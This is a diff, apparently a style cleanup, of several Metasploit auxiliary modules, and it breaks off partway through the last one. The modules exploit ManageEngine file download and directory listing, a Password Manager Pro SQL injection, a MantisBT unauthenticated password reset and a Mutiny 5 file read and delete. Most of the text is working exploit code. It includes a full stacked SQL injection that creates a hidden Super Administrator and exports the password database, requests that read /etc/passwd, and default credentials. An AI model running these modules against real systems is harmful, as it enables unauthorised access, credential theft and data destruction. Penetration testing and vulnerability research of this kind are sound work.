OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
])
]
)
end
def post_auth?
@ -70,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
def detect_it360
res = send_request_cgi({
'uri' => '/',
'uri' => '/',
'method' => 'GET'
})
@ -90,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary
cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
return ::Regexp.last_match(1)
else
return nil
end
@ -117,14 +120,14 @@ class MetasploitModule < Msf::Auxiliary
'method' => 'POST',
'uri' => normalize_uri(path),
'vars_get' => {
'service' => "OpManager",
'furl' => "/",
'service' => 'OpManager',
'furl' => '/',
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
end
@ -132,7 +135,6 @@ class MetasploitModule < Msf::Auxiliary
nil
end
def login_it360
# Do we already have a valid cookie? If yes, just return that.
unless datastore['IAMAGENTTICKET'].nil?
@ -182,14 +184,14 @@ class MetasploitModule < Msf::Auxiliary
end
if detect_it360
print_status("Detected IT360, attempting to login...")
print_status('Detected IT360, attempting to login...')
cookie = login_it360
else
cookie = get_cookie
end
if cookie.nil?
print_error("Failed to get application cookies!")
print_error('Failed to get application cookies!')
return
end
@ -197,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
})
if res && res.code == 404
servlet = 'FailOverHelperServlet'
@ -216,7 +218,7 @@ class MetasploitModule < Msf::Auxiliary
}
})
rescue Rex::ConnectionRefused
print_error("Could not connect.")
print_error('Could not connect.')
return
end
@ -234,7 +236,7 @@ class MetasploitModule < Msf::Auxiliary
)
print_good("File with directory listing saved in: #{path}")
else
print_error("Failed to list directory.")
print_error('Failed to list directory.')
end
end
end

View File

@ -7,45 +7,48 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Multiple Products Arbitrary File Download",
'Description' => %q{
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
module will attempt to login using the default credentials for the administrator and
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
8300). This module has been tested on both Windows and Linux with several different
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
a companion module that allows the recursive listing of any directory. This
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
},
'Author' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine Multiple Products Arbitrary File Download',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
module will attempt to login using the default credentials for the administrator and
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
8300). This module has been tested on both Windows and Linux with several different
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
a companion module that allows the recursive listing of any directory. This
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-7863'],
['OSVDB', '117695'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
],
'DisclosureDate' => '2015-01-28'))
'DisclosureDate' => '2015-01-28'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
])
]
)
end
def post_auth?
@ -68,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
def detect_it360
res = send_request_cgi({
'uri' => '/',
'uri' => '/',
'method' => 'GET'
})
@ -88,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
return ::Regexp.last_match(1)
else
return nil
end
@ -120,9 +123,9 @@ class MetasploitModule < Msf::Auxiliary
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
end
@ -179,10 +182,10 @@ class MetasploitModule < Msf::Auxiliary
end
if detect_it360
print_status("Detected IT360, attempting to login...")
print_status('Detected IT360, attempting to login...')
cookie = login_it360
if cookie.nil?
print_error("Failed to login to IT360!")
print_error('Failed to login to IT360!')
return
end
else
@ -193,7 +196,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
})
if res && res.code == 404
servlet = 'FailOverHelperServlet'
@ -212,7 +215,7 @@ class MetasploitModule < Msf::Auxiliary
}
})
rescue Rex::ConnectionRefused
print_error("Could not connect.")
print_error('Could not connect.')
return
end
@ -220,7 +223,7 @@ class MetasploitModule < Msf::Auxiliary
if res && res.code == 200
if res.body.to_s.bytesize == 0
print_error("0 bytes returned, file does not exist or is empty.")
print_error('0 bytes returned, file does not exist or is empty.')
return
end
@ -236,7 +239,7 @@ class MetasploitModule < Msf::Auxiliary
)
print_good("File saved in: #{path}")
else
print_error("Failed to download file.")
print_error('Failed to download file.')
end
end
end

View File

@ -8,33 +8,35 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
'Description' => %q{
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
privileges and obtain Super Administrator access. A Super Administrator can then
use his privileges to dump the whole password database in CSV format. PMP can use
both MySQL and PostgreSQL databases but this module only exploits the latter as
MySQL does not support stacked queries with Java. PostgreSQL is the default database
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
so a higher version does not guarantee exploitability. This module has been tested
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
v7.1 build 7105 and above.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
'Description' => %q{
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
privileges and obtain Super Administrator access. A Super Administrator can then
use his privileges to dump the whole password database in CSV format. PMP can use
both MySQL and PostgreSQL databases but this module only exploits the latter as
MySQL does not support stacked queries with Java. PostgreSQL is the default database
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
so a higher version does not guarantee exploitability. This module has been tested
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
v7.1 build 7105 and above.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2014-8499' ],
[ 'OSVDB', '114485' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
],
'DisclosureDate' => '2014-11-08'))
'DisclosureDate' => '2014-11-08'
)
)
register_options(
[
@ -42,11 +44,11 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
])
OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])
]
)
end
def login(username, password)
# 1st step: we obtain a JSESSIONID cookie...
res = send_request_cgi({
@ -56,14 +58,14 @@ class MetasploitModule < Msf::Auxiliary
if res && res.code == 200
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
orgn_name = $1
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/
orgn_name = ::Regexp.last_match(1)
else
orgn_name = nil
end
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
authrule_name = $1
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/
authrule_name = ::Regexp.last_match(1)
else
authrule_name = nil
end
@ -73,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
'ctype' => "application/x-www-form-urlencoded",
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_get' => {
'RequestType' => 'GetUserDomainName',
@ -89,9 +91,9 @@ class MetasploitModule < Msf::Auxiliary
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
vars_post = {
'j_username' => username,
'username' => username,
'j_password' => password
'j_username' => username,
'username' => username,
'j_password' => password
}
vars_post['ORGN_NAME'] = orgn_name if orgn_name
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
@ -99,8 +101,8 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
'ctype' => "application/x-www-form-urlencoded",
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => vars_post
})
@ -108,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
'cookie' => cookie,
'cookie' => cookie
})
if res && res.code == 200
@ -120,102 +122,98 @@ class MetasploitModule < Msf::Auxiliary
return nil
end
def inject_sql(old_style)
# On versions older than 7000 the injection is slightly different (we call it "old style").
# For "new style" versions we can escalate to super admin by doing
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
if old_style
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
else
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
end
user_id = Rex::Text.rand_text_numeric(4)
time = Rex::Text.rand_text_numeric(8)
username = Rex::Text.rand_text_alpha_lower(6)
username_chr = ""
username_chr = ''
username.each_char do |c|
username_chr << 'chr(' << c.ord.to_s << ')||'
username_chr << 'chr(' << c.ord.to_s << ')||'
end
username_chr.chop!.chop!
password = Rex::Text.rand_text_alphanumeric(10)
password_chr = ""
password_chr = ''
password.each_char do |c|
password_chr << 'chr(' << c.ord.to_s << ')||'
password_chr << 'chr(' << c.ord.to_s << ')||'
end
password_chr.chop!.chop!
group_chr = ""
group_chr = ''
'Default Group'.each_char do |c|
group_chr << 'chr(' << c.ord.to_s << ')||'
group_chr << 'chr(' << c.ord.to_s << ')||'
end
group_chr.chop!.chop!
sqli_command =
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" +
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" +
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" +
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" +
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" +
"insert into aaaauthorizedrole values (#{user_id},1);" +
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" +
"insert into aaaaccpassword values (#{user_id},#{user_id});" +
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" +
"insert into ptrx_superadmin values (#{user_id},true);"
sqli_suffix = "-- "
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \
"insert into aaaauthorizedrole values (#{user_id},1);" \
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \
"insert into aaaaccpassword values (#{user_id},#{user_id});" \
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \
"insert into ptrx_superadmin values (#{user_id},true);"
sqli_suffix = '-- '
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
'cookie' => @cookie,
'vars_post' => {
'COUNT' => Rex::Text.rand_text_numeric(2),
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
'USERID' => Rex::Text.rand_text_numeric(4)
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),
'cookie' => @cookie,
'vars_post' => {
'COUNT' => Rex::Text.rand_text_numeric(2),
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
'USERID' => Rex::Text.rand_text_numeric(4)
}
})
return [ username, password ]
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'uri' => normalize_uri('PassTrixMain.cc'),
'method' => 'GET'
})
if res && res.code == 200 && res.body &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
)
return $1.to_i
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7
)
return ::Regexp.last_match(1).to_i
else
return 9999
end
end
def check
version = get_version
case version
when 0..7104
return Exploit::CheckCode::Appears
when 7105..9998
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
when 0..7104
return Exploit::CheckCode::Appears
when 7105..9998
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def run
unless check == Exploit::CheckCode::Appears
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
@ -223,11 +221,11 @@ class MetasploitModule < Msf::Auxiliary
version = get_version
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
if @cookie == nil
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
end
creds = inject_sql(version < 7000 ? true : false)
creds = inject_sql(version < 7000)
username = creds[0]
password = creds[1]
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
@ -238,15 +236,15 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
end
print_status("Reporting Super Administrator credentials...")
print_status('Reporting Super Administrator credentials...')
store_valid_credentail(user: username, private: password)
print_status("Leaking Password database...")
print_status('Leaking Password database...')
loot_passwords(cookie_su)
end
def service_details
super.merge({access_level: 'Super Administrator'})
super.merge({ access_level: 'Super Administrator' })
end
def loot_passwords(cookie_admin)
@ -255,14 +253,14 @@ class MetasploitModule < Msf::Auxiliary
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
'cookie' => cookie_admin,
'vars_post' => {
'IS_XLS' => 'true',
'includePasswd' => 'true',
'HOMETAB' => 'true',
'RESTAB' => 'true',
'RGTAB' => 'true',
'PASSWD_RULE' => 'Offline Password File',
'LOGOUT_TIME' => '20'
'vars_post' => {
'IS_XLS' => 'true',
'includePasswd' => 'true',
'HOMETAB' => 'true',
'RESTAB' => 'true',
'RGTAB' => 'true',
'PASSWD_RULE' => 'Offline Password File',
'LOGOUT_TIME' => '20'
}
})
@ -276,23 +274,24 @@ class MetasploitModule < Msf::Auxiliary
}
})
if res && res.code == 200 && res.body && res.body.to_s.length > 0
if res && res.code == 200 && res.body && !res.body.to_s.empty?
vprint_line(res.body.to_s)
print_good("Successfully exported password database from Password Manager Pro.")
loot_name = 'manageengine.passwordmanagerpro.password.db'
loot_type = 'text/csv'
print_good('Successfully exported password database from Password Manager Pro.')
loot_name = 'manageengine.passwordmanagerpro.password.db'
loot_type = 'text/csv'
loot_filename = 'manageengine_pmp_password_db.csv'
loot_desc = 'ManageEngine Password Manager Pro Password DB'
loot_desc = 'ManageEngine Password Manager Pro Password DB'
p = store_loot(
loot_name,
loot_type,
rhost,
res.body,
loot_filename,
loot_desc)
loot_name,
loot_type,
rhost,
res.body,
loot_filename,
loot_desc
)
print_status("Password database saved in: #{p}")
else
print_error("Failed to export Password Manager Pro passwords.")
print_error('Failed to export Password Manager Pro passwords.')
end
end
end

View File

@ -6,56 +6,55 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "MantisBT password reset",
'Description' => %q{
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
},
'License' => MSF_LICENSE,
'Author' =>
[
'John (hyp3rlinx) Page', # initial discovery
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MantisBT password reset',
'Description' => %q{
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
},
'License' => MSF_LICENSE,
'Author' => [
'John (hyp3rlinx) Page', # initial discovery
'Julien (jvoisin) Voisin' # metasploit module
],
'References' =>
[
'References' => [
['CVE', '2017-7615'],
['EDB', '41890'],
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
],
'Platform' => ['win', 'linux'],
'DisclosureDate' => '2017-04-16'))
register_options(
[
OptString.new('USERID', [ true, 'User id to reset', 1]),
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
]
'Platform' => ['win', 'linux'],
'DisclosureDate' => '2017-04-16'
)
)
register_options(
[
OptString.new('USERID', [ true, 'User id to reset', 1]),
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
]
)
end
def check
begin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
'method'=>'GET'
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
'method' => 'GET'
})
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
vprint_status("MantisBT detected")
return Exploit::CheckCode::Detected
else
vprint_status("Not a MantisBT Instance!")
return Exploit::CheckCode::Safe
end
rescue Rex::ConnectionRefused
print_error("Connection refused by server.")
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
vprint_status('MantisBT detected')
return Exploit::CheckCode::Detected
else
vprint_status('Not a MantisBT Instance!')
return Exploit::CheckCode::Safe
end
rescue Rex::ConnectionRefused
print_error('Connection refused by server.')
return Exploit::CheckCode::Safe
end
def run
@ -69,16 +68,15 @@ class MetasploitModule < Msf::Auxiliary
})
if !res || !res.body
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
end
cookie = res.get_cookies
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
fail_with(Failure::NoAccess, "Authentication failed")
fail_with(Failure::NoAccess, 'Authentication failed')
end
if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alpha(8)
else
@ -86,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
end
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
token = $1
token = ::Regexp.last_match(1)
else
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
end
@ -95,12 +93,12 @@ class MetasploitModule < Msf::Auxiliary
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
'method' => 'POST',
'vars_post' => {
'verify_user_id' => datastore['USERID'],
'account_update_token' => $1,
'realname' => Rex::Text.rand_text_alpha(rand(5) + 8),
'password' => password,
'password_confirm' => password
},
'verify_user_id' => datastore['USERID'],
'account_update_token' => ::Regexp.last_match(1),
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
'password' => password,
'password_confirm' => password
},
'cookie' => cookie
})

View File

@ -7,100 +7,103 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
'Description' => %q{
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
appliance. The EditDocument servlet provides file operations, such as copy and
delete, which are affected by a directory traversal vulnerability. Because of this,
any authenticated frontend user can read and delete arbitrary files from the system
with root privileges. In order to exploit the vulnerability a valid user (any role)
in the web frontend is required. The module has been tested successfully on the
Mutiny 5.0-1.07 appliance.
},
'Author' =>
[
appliance. The EditDocument servlet provides file operations, such as copy and
delete, which are affected by a directory traversal vulnerability. Because of this,
any authenticated frontend user can read and delete arbitrary files from the system
with root privileges. In order to exploit the vulnerability a valid user (any role)
in the web frontend is required. The module has been tested successfully on the
Mutiny 5.0-1.07 appliance.
},
'Author' => [
'juan vazquez' # Metasploit module and initial discovery
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-0136' ],
[ 'US-CERT-VU', '701572' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
],
'Actions' =>
[
['Read', 'Description' => 'Read arbitrary file'],
['Delete', 'Description' => 'Delete arbitrary file']
'Actions' => [
['Read', { 'Description' => 'Read arbitrary file' }],
['Delete', { 'Description' => 'Delete arbitrary file' }]
],
'DefaultAction' => 'Read',
'DisclosureDate' => '2013-05-15'))
'DefaultAction' => 'Read',
'DisclosureDate' => '2013-05-15'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
OptString.new('PATH', [ true, 'The file to read or delete' ]),
])
OptString.new('PATH', [ true, 'The file to read or delete' ]),
]
)
end
def run
print_status("Trying to login")
print_status('Trying to login')
if login
print_good("Login Successful")
print_good('Login Successful')
else
print_error("Login failed, review USERNAME and PASSWORD options")
print_error('Login failed, review USERNAME and PASSWORD options')
return
end
case action.name
when 'Read'
read_file(datastore['PATH'])
when 'Delete'
delete_file(datastore['PATH'])
when 'Read'
read_file(datastore['PATH'])
when 'Delete'
delete_file(datastore['PATH'])
end
end
def read_file(file)
print_status('Copying file to Web location...')
print_status("Copying file to Web location...")
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'
res = send_request_cgi(
{
